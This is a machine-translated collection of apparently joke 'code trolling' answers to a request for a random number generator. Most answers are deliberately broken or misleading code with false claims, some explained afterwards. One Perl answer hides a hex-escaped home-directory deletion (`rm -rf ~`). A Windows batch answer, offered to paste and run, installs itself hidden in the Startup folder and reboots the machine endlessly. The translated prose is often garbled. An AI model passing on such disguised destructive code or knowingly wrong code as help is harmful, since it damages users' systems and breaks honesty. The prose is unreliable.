Answers:
获取随机的维基百科文章,并获取一系列长度为num的html字符,并获取其数值
import urllib2
from random import randint
def getRandom(num):
response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
html = response.read()
html = html.replace(" ", "")
htmllen = len(html)
#I especially love how I still grab a random number here
l = randint(0, htmllen - num)
data = html[l:l+num]
return [ ord(x) for x in list(data) ]
print getRandom(25)
来自其他答案的所有程序都只会生成所谓的“伪随机数”,在未经训练的人看来,它们可能是随机的,但实际上遵循某种模式。
以下程序通过将计算机变成用于背景辐射的粒子检测器来生成实际的随机数。由于这是基于量子效应的,所以它实际上是随机的,无法预测。另外,如果将计算机启动到太空中,该程序实际上可以更快地运行。是的,这听起来确实很酷。
#include<stdio.h>
int main(void)
{
int i,j,k,l,m;
printf("How many random numbers do you want?");
scanf ("%i",&m);
for (i=0; i<m; i++)
{
j = k = 42;
l = 0;
while (j==k)
l++;
printf("%i\n", l);
}
}
扰流板:
该程序生成两个相同的内存,然后等待背景辐射更改其中一个内存需要多长时间。然后,等待时间以随机数的形式返回,如果不是整数溢出,则将以指数形式分配。这样的事件在太空中的可能性更大,是航天学中的实际问题,可以通过辐射硬化来解决。因此,引言中的每一个陈述都在一定程度上是正确的,除了关于冷静的方面。
不幸的是,这样的事件使计算机或至少程序崩溃,而不是完全影响这两个内存块。此外,它可能需要一段时间。最后,由kinokijuf指出,背景辐射是外部的过程,所以j
并k
应标记为volatile
编译器(或者你应该使用编译器,在所有优化没有)。
PS: 扩展这个想法,也可以只创建一个填充零的数组,然后打印它。ε有机会使背景辐射在存储和打印之间改变零,因此打印的内容是随机的-OP从未说过如何分配随机数。
j
并k
始终使用内存中的某些位置吗?(我使用C的程度不是很高;我是Java和C#程序员。)如果是这样,则可以设计硬件,以使这些位置不受辐射加固的保护,而系统的其余部分则受到保护。
由于随机性纯粹是确定性的,因此很难在计算机上实现。在计算机上生成随机数是一个非常活跃的研究领域,通常涉及状态级别的参与者(请参见Dual_EC_DRBG)。但是,在现代的多任务操作系统上,线程调度程序在某些情况下可能会通过。为此,我们将对当前时间片的控制权交还给操作系统,并记下重新安排我们需要多长时间。根据操作系统和负载,这可能会产生所需的结果。
const int bitsInInt = 31;
void Main()
{
Console.WriteLine("Enter total number of numbers to generate:");
var result = Console.ReadLine();
var total = int.Parse(result);
foreach(var i in RandomSequence().Take(total))
{
Console.WriteLine(i);
}
}
//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
while(true)
{
var sw = new Stopwatch();
sw.Start();
Thread.Sleep(bitsInInt);
sw.Stop();
yield return (int)(sw.ElapsedTicks & 0x1L);
}
}
//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
while(true)
{
yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();
}
}
由于外购软件的用户天生就具有随机性,为什么不利用它来获取我们的优势?
此代码获取屏幕截图,并将其与其他一些数据结合使用以生成随机序列。不使用内置的随机发生器会获得奖励积分吗?
public unsafe uint[] GetThemRandom(int length)
{
var bounds = Screen.GetBounds(Point.Empty);
using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
using (var graphics = Graphics.FromImage(screenshot))
{
// can't hurt
var sZ = (uint)Cursor.Position.X;
var sW = (uint)Cursor.Position.Y;
// take the screenshot as the previous experience has though us that the users
// are sufficiently random
graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);
var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);
var scanData = (byte*)bits.Scan0.ToPointer();
var scanLimit = bounds.Width * bounds.Height;
// squash the pixels into two variables
for (var i = 0; i < scanLimit; i += 2)
{
var pX = scanData + i * (bytesPerPixel);
var pY = scanData + (i + 1) * (bytesPerPixel);
for (var j = 0; j < bytesPerPixel; j++)
{
sZ ^= *(pX + j);
sW ^= *(pY + j);
}
}
// generate the numbers
var randoms = new uint[length];
for (var i = 0; i < length; i++)
{
// CodeProject 25172
sZ = 36969 * (sZ & 65535) + (sZ >> 16);
sW = 18000 * (sW & 65535) + (sW >> 16);
randoms[i] = (sZ << 16) + sW;
}
return randoms;
}
}
很容易发现常见的陷阱:随机数的非均匀分布来源,没有随机化。我的解决方案通过使用深入的数学见解以及一种简单但有效的技巧将当前时间随机化,从而极大地避免了这些问题:
from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally
import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]
number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
print(random)
如果对少量数字(9个或更少)进行一次测试,效果很好,但是对有严重缺陷的测试只进行了一点测试:
math.pi
句点后仅包含几位数字time.localtime()[8]
不返回毫秒或内核时钟,而是0或1,具体取决于是否为夏时制。因此,随机种子每半年一次更改一次。因此,基本上没有随机化。random_numbers[:number]
输入一个 number
大于15且仅吐出15个随机数。不幸的是,这是受到曾经类似工作的Delphi 1.0随机函数的启发。
问题要求一个序列。再来一次...
$seed = $$.to_i
def getRandom(seed)
a = Class.new
b = a.new
$seed = a.object_id.to_i + seed - $seed
$seed
end
def getRandomSequence(num)
molly = Array.new
0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
molly
end
这是100%随机的。不完全是。
太糟糕的是,此代码对OP
毫无意义(object_id到底是什么?)而且,它是特定于实现的,这意味着它在不同的ruby版本之间起作用或不起作用(在2.1.0p0上运行)。
最重要的是,这可能会做一些令人讨厌的事情,因为OP可能会试验object_id ...
输出示例:
-2224
12887226055
25774454222
38661682243
51548910124
64436137991
修改以$$
用于真正的随机性(在OS级别)。
当心,这是一个技巧问题.....
Java中的大多数人都将使用math.random()来帮助生成此序列,但是他们会感到困惑,因为它们只会得到积极的结果!random()
返回从0到1的十进制值(不包括1本身)。因此,您必须采取一些技巧,以确保您在整个整数范围(正值和负值)中都能很好地分配随机值。
另外,您不能简单地相乘Math.random()
,Integer.MAX_VALUE
因为您将永远不会将Integer.MAX_VALUE
自身包括在结果中!同样,这样做是合乎逻辑的,math.rand() * (Integer.MAX_VALUE + 1)
以便获得完整的发行版,但是,这当然不起作用,因为Integer.MAX_VALUE + 1
它将溢出并变为Integer.MIN_VALUE
!。因此,不幸的是,最好的解决方案是对数据进行按位操作...
因此,这是一个完整的序列,用于生成范围Integer.MIN_VALUE
为的n个随机值Integer.MAX_VALUE
(包括两个极端(这是最困难的部分!!!!)):
public static int[] get_random_sequence(int count) {
// where we will store our random values.
int[] ret = new int[count];
for (int i = 0; i < count; i++) {
// get a random double value:
double rand = Math.random();
// now, convert this double value (which really has 48 bits of randomness)
// in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
// we cannot simply multiply the rand value with Integer.MAX_VALUE
// because we will never actually get Integer.MAX_VALUE
// (since the rand will never exactly == 1.0)
// what we do is treat the 32-bits of the integer in a clever bit-shifting
// algorithm that ensures we make it work:
// We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
// http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
// these are very convenient because 13 + 19 is 32, which is the
// number of bits of randomness we need (32-bit integer).
// Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
// and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
// since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
// 2^19 - 1 can be expressed as (1 << 19) - 1
// 2^13 - 1 can be expressed as (1 << 13) - 1
// first we set 13 bits ... multiply a 13-bit prime by the random number.
ret[i] = (int)(rand * (1 << 13) - 1);
// now shift those 13 random bits 19 bits left:
ret[i] <<= 19;
// now add in the 19 random bits:
ret[i] ^= (int)(rand * (1 << 19) - 1);
}
return ret;
}
产生如下输出:
[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]
当然,以上是完整的BS答案。它不会产生很好的描述,并且会“隐藏”严重的错误(^=
应该是|=
)。它还隐藏了一个不太严重的错误(order-pf-precedence意味着我们实际上根本不乘以质数!)使用花哨的单词,质数和大量注释是没有理由相信代码的...当然,如果您要执行上述操作,则应使用java.util.Random.nextInt()
现在回头看程序,我忘了关闭Scanner
...
import java.util.Scanner;
public class RandomNumberGenerator
{
public static void main(String... args)
{
String rand = "14816275093721068743516894531"; // key-bashing is random
Scanner reader = new Scanner(System.in);
System.out.println("Enter length of random number: ");
System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
}
}
try (Scanner reader = new Scanner(System.in)) { ... }
。
这是一个随机数生成器base 2^CHAR_BIT
。
char* random(size_t length) {
char* ret = malloc((length+1) * sizeof(char));
ret[length] = 0;
return ret;
}
length
只分配。当示例运行正常时,损坏的数据是最好的。
在javascript中,具有功能样式:
var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";
alert("The random sequence is " + (function (sequenceSize) {
return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");
对于创建0到1337之间的随机数的小型应用程序,此功能非常有用。建议多次调用以确保最大的随机性。
int* getRandom(int length)
{
//create an array of ints
int* nums = malloc(sizeof(int) * length);
//fill it in with different, "random" numbers
while(length--) //9001 is a good seed
nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
return nums;
}
著名的Blum Blum Shub发电机。因为随机数生成器应该在密码上安全,并且有什么比通过模糊方式更好的安全性。
#include <stdio.h>
long long Blum,BLum,Shub;
#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19
int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
//generate bbs bits until we have enough
BLum = 0;
while (shub){
Blum=(Blum*Blum)%Shub;
BLum=(BLum<<1)|(Blum&1);
shub>>=1;
}
return BLum>>1;
}
int seed(int n){
Blum=n,BLum=BLUM;
Shub=SHUB*BLum;
rand=blumblumshub;
return rand(n);
}
//Always include a test harness.
int main(int argv, char* argc[]){
int i;
for (i=0;i<10;i++){
printf("%d\n",rand(97));
}
}
(包括可怕的变量名,基于对维基百科的快速扫描的错误实现,以及出于娱乐目的而抛出的无用的函数指针魔术)
int argv, char* argc[]
天哪,为什么?
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
int i, len;
srand(time(NULL));
len = atoi(argv[1]);
for(i = 0; i < len; i++)
printf("%d\n", rand() % 100);
return 0;
}
优点:
using namespace std;
是EVIL,我们不想使用所有这些名称空间查找来减慢程序速度。缺点:
argv[1]
不是整数(或者更糟的是,如果它为null),它具有未定义的行为吗?
atoi
只会返回零。当编码的整数超出的范围时,它会变得多毛int
。
RandInt =
Array[First@
Cases[URLFetch["http://dynamic.xkcd.com/random/comic/",
"Headers"], {"Location", l_} :>
FromDigits@StringTake[l, {17, -2}]] &, #] &
这是一个Python解决方案。您无法证明这不是随机的!
def get_random(num):
print '3' * num
get_random(5)
例如,通过调用尝试一下。
use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
print int(rand(10));
}
print "\n";
这个程序按照OP的要求使用了一些非常简单的perl代码来执行操作,但是在递归删除其主目录之前没有这样做(当然,实际上并没有编写rm -rf〜)。
我没有测试过(出于明显的原因)。
这不仅浪费很多时间(实际时间和CPU时间),而且只返回10个随机数。
def generate_random_number_sequence():
with open('/dev/urandom', 'rb') as fd:
data = b''
num = 0
for i in range(10000):
data += fd.read(1)
for b in data:
try:
num += int(b)
except ValueError: pass
return [int(n) for n in list(str(num))]
if __name__ == '__main__':
print(generate_random_number_sequence())
您可能知道并非所有数字都是随机的。该程序会检查所有数字,并只为您提供真正的数字随机的数字。
请注意,Ruby代码阅读起来有些棘手。它的效率不如英语,因为计算机有些愚蠢,有时您必须向计算机重复重要的单词。
因此,我#comments
在代码中添加了一些内容。注释中的大写单词表示该单词在Ruby代码中的工作方式。
def random_sequence(n)
# Make a NEW ENUMERATOR of RANDOM numbers:
Enumerator.new { |random|
# to_i means that the RANDOM NUMBERS we want are *integers*.
# (rand is computer speak for random.)
number = rand.to_i
# We need to LOOP (because we want a *sequence* of numbers):
loop do
# Double check that the NEXT NUMBER is a RANDOM NUMBER.
# This is very important so we must repeat some of the words to the computer.
random << number if number == rand(number=number.next)
end
}.take(n) # Self explanatory
end
# Now we just say hw many random numbers we want, like 12
p random_sequence(12)
稍后可能会进行更详细的解释,但示例运行中的输出应将其中的一部分删除:[1、3、5、10、180、607、639、1694、21375、75580、137110、149609] ...仍然虽然有点随机。
以下Windows Batch脚本将生成一个OUTPUT.TXT
在配置文件文件夹中命名为随机数字的文件。保证生成几乎完全真实的随机数。只需将此代码粘贴到记事本中,另存为"FileName.CMD"
(带引号)并执行。
IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ
:NEXT
shutdown -r -t 0
exit
:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT
REM TODO: ADD MORE OBSCURITY
顺便说一句,必须输入要生成的随机数,这太麻烦了。只需按住电源按钮使其停止生成即可。路更轻松!加:它不需要键盘。
%time%
,将其写入%userprofile%\OUTPUT.TXT
,然后重新启动计算机。重新启动计算机后,它将再次执行相同的操作。
a
这是一个过分实现,过于复杂,混乱(甚至带有语法突出显示功能)的函数,它以一种过于复杂的方式生成不合理的大量数字。而不是返回数字字符串,而是将它们打印在屏幕上,这使得在程序中使用它不切实际。很难编辑,所以如果您的victum要求您修复它,请说它太复杂了。
function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end
public class Random
{
private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();
private long currentFactor;
public Random()
{
currentFactor = DateTime.Now.ToFileTime();
}
public IEnumerable<int> GetSequence(int count)
{
int i = 0;
while (i < count)
{
i++;
string digits = currentFactor.ToString();
digits = digits.Substring(digits.Length / 4, digits.Length / 2);
if (digits[0] == '0')
digits = "17859" + digits;
currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);
int position = i % initialSequence.Length;
initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);
yield return (int)initialSequence[position] ^ (int)currentFactor;
}
}
}
请注意,它倾向于打破较长的序列,但是当它起作用时,它会生成非常随机的数
您的计算机已经有一个内置的随机数,因此您只需要访问它即可:
program random_numbers
implicit none
integer :: nelem,i,ierr
print *,"Enter number of random sequences"
read(*,*) nelem
do i=1,nelem
call system("od -vAn -N8 -tu8 < /dev/urandom")
enddo
end program random_numbers
显然是不可移植的,因为它要求用户使用* nix系统(但是谁仍然使用Windows?)。
我假设您当然需要很多随机数。哪个需要...
当然,在NSA时代,仅使用单个随机来源是不可靠的。他们可能已经木马了您的计算机。但是他们不会对您的整个集群进行木马!
#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF
# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1
EOF
接下来,该脚本将根据需要运行集群作业:
# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
echo Banana >> /tmp/.$i
$HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done
# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
$HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
-input applestore/ \
-output azure/ \
-file /tmp/mapper \
-file /tmp/reducer \
-mapper /tmp/mapper \
-reducer /tmp/reducer
$HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
# Never forget to cleanup something:
$HADOOP_HOME/bin/hdfs dfs -rm -r azure
done
谢谢上帝,我们拥有Hadoop的力量!
require 'md5'
5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits
这是非常棘手的,我不会对此太担心。只需将以下代码复制并粘贴到您的库中,您将永远处于黄金状态。
#include <stdlib.h>
#include <time.h>
void fillNumbers(int[], unsigned size);
void main()
{
int random[5];
fillNumbers(random, 5);
}
void fillNumbers(int arr[], unsigned size)
{
void * pepperSeed = malloc(size);
unsigned tick = ~(unsigned)clock();
srand((int)( (unsigned)pepperSeed^tick ));
while( size --> 0 )
{
arr[size] = rand();
}
}
尝试使用C ++-快速,强大,所需的一切:
#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector
// declaration for generate_num()
int generate_num();
void error(std::string s) {
throw runtime_error(s);
}
// some support code
class random {
public:
random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }
void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }
private:
vector<int> v;
};
// generate number
int generate_num() {
// seed random number generator
srand(rand());
// get number
int i = rand();
// return number after calculation
return int(pow(i, pow(i, 0)));
}
int main() try {
// generate and store your random numbers
int amount_of_numbers;
std::cout << "Enter the number of random variables you need: ";
std::cin >> amount_of_numbers;
// create your random numbers
random numbers = random(amount_of_numbers);
// display your numbers
numbers.display();
return 0;
}
catch (exception& e) {
std::cerr << "Error: " << e.what();
return 1;
}
catch (...) {
std::cerr << "Unknown error\n";
return 2;
}
顺便说一句,为了获得最佳效果,您将需要使用class
。
说明:
1.他不需要使用它class
-这完全是多余的。
2. in中的return语句generate_num()
实际返回number ^(number ^ 0),其结果为number ^ 1,即number。这也是多余的。
3.最不必要的错误处理-这种基本的数据打孔可能会出什么问题?
4.我std::
在std
命名空间的所有元素之前使用过。这也是多余的。
5. #define
语句也是不必要的-我这样做是为了让他认为我为该程序专门定义了这些类型。
免责声明:
该程序实际上有效;但是,我不建议任何人或实体在他们的代码中使用它来现实生活。我对此代码不保留任何权利;换句话说,我将其完全开源。
std::
前缀而不使用using namespace std
,实际上是一个好习惯,这样就不会污染全局范围。(如果您很懒,using std::cout
并且这样还是比做的要好using namespace std
。)